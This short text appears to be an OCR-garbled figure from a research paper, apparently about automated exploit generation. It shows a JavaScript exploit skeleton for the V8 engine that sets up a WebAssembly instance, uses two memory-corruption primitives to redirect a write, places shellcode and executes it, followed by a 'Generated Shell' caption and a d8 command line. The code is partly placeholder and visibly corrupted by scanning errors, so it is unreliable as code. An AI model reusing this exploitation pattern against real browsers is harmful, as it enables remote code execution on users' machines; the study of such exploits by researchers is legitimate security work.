17/« exploitation plan +/

18 var OBJA = [0, 97, 115, ..., 111;

19 var OBJC = new Uint8Array(OBJA);
20 var OBJD = new WebAssembly.Module(OBJC);
21 var OBJE = new WebAssembly.Instance(OBJD, {3});

22/« Use of Primitivel +/

23 var objel6 = _var1_[72];

24 /+ Use of Primitive2 +/

25 _var1_[36] = objel6 - 0x10;
26 _var3_[@] = SHELLCODE;
27/« shellcode execution +/

28 OBJE.exports.main();

@orion:

Figure 3: Generated Shell

t/x64.release/d8 My_Exploit.js
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